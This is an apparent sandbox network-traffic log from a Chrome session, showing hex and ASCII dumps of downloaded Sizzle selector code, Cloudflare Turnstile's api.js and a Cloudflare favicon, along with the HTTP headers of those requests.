5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-02-25 14:37:24 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-02-25 14:37:24 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-02-25 14:37:24 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-02-25 14:37:24 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-02-25 14:37:24 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2025-02-25 14:37:24 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49776	104.18.95.41	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:24 UTC	383	OUT	GET /turnstile/v0/b/b0e4a89976ce/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:24 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 25 Feb 2025 14:37:24 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Wed, 19 Feb 2025 14:53:05 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 91786ee52b284358-EWR alt-svc: h3=":443"; ma=86400
2025-02-25 14:37:24 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 Data Ascii: manual",e.Auto="auto"})(ee\|\|(ee={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 Data Ascii: unction pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 72 22 2c 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 Data Ascii: r","ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-02-25 14:37:24 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 62 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("b","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49777	104.16.2.189	443	4828	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-25 14:37:24 UTC	599	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rvxt.ymactablet.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-25 14:37:24 UTC	697	IN	HTTP/1.1 200 OK Date: Tue, 25 Feb 2025 14:37:24 GMT Content-Type: image/png Content-Length: 937 Connection: close Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Set-Cookie: __cf_bm=l63FidJAFDyWhUUQtTcJugj1TqCpkUKuOvxie6jTTkM-1740494244-1.0.1.1-AxaZVmx2v3kX84kAqK4J4NIznnFGcYXJm7lv3rAY52P2usB1jyXJOgjIr_DC63QOS7mfusDfd.o3sR0U2XDqRQ; path=/; expires=Tue, 25-Feb-25 15:07:24 GMT; domain=.developers.cloudflare.com; HttpOnly; Secure; SameSite=None Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff access-control-allow-origin: * Server: cloudflare CF-RAY: 91786ee55a24c33b-EWR alt-svc: h3=":443"; ma=86400
2025-02-25 14:37:24 UTC	672	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
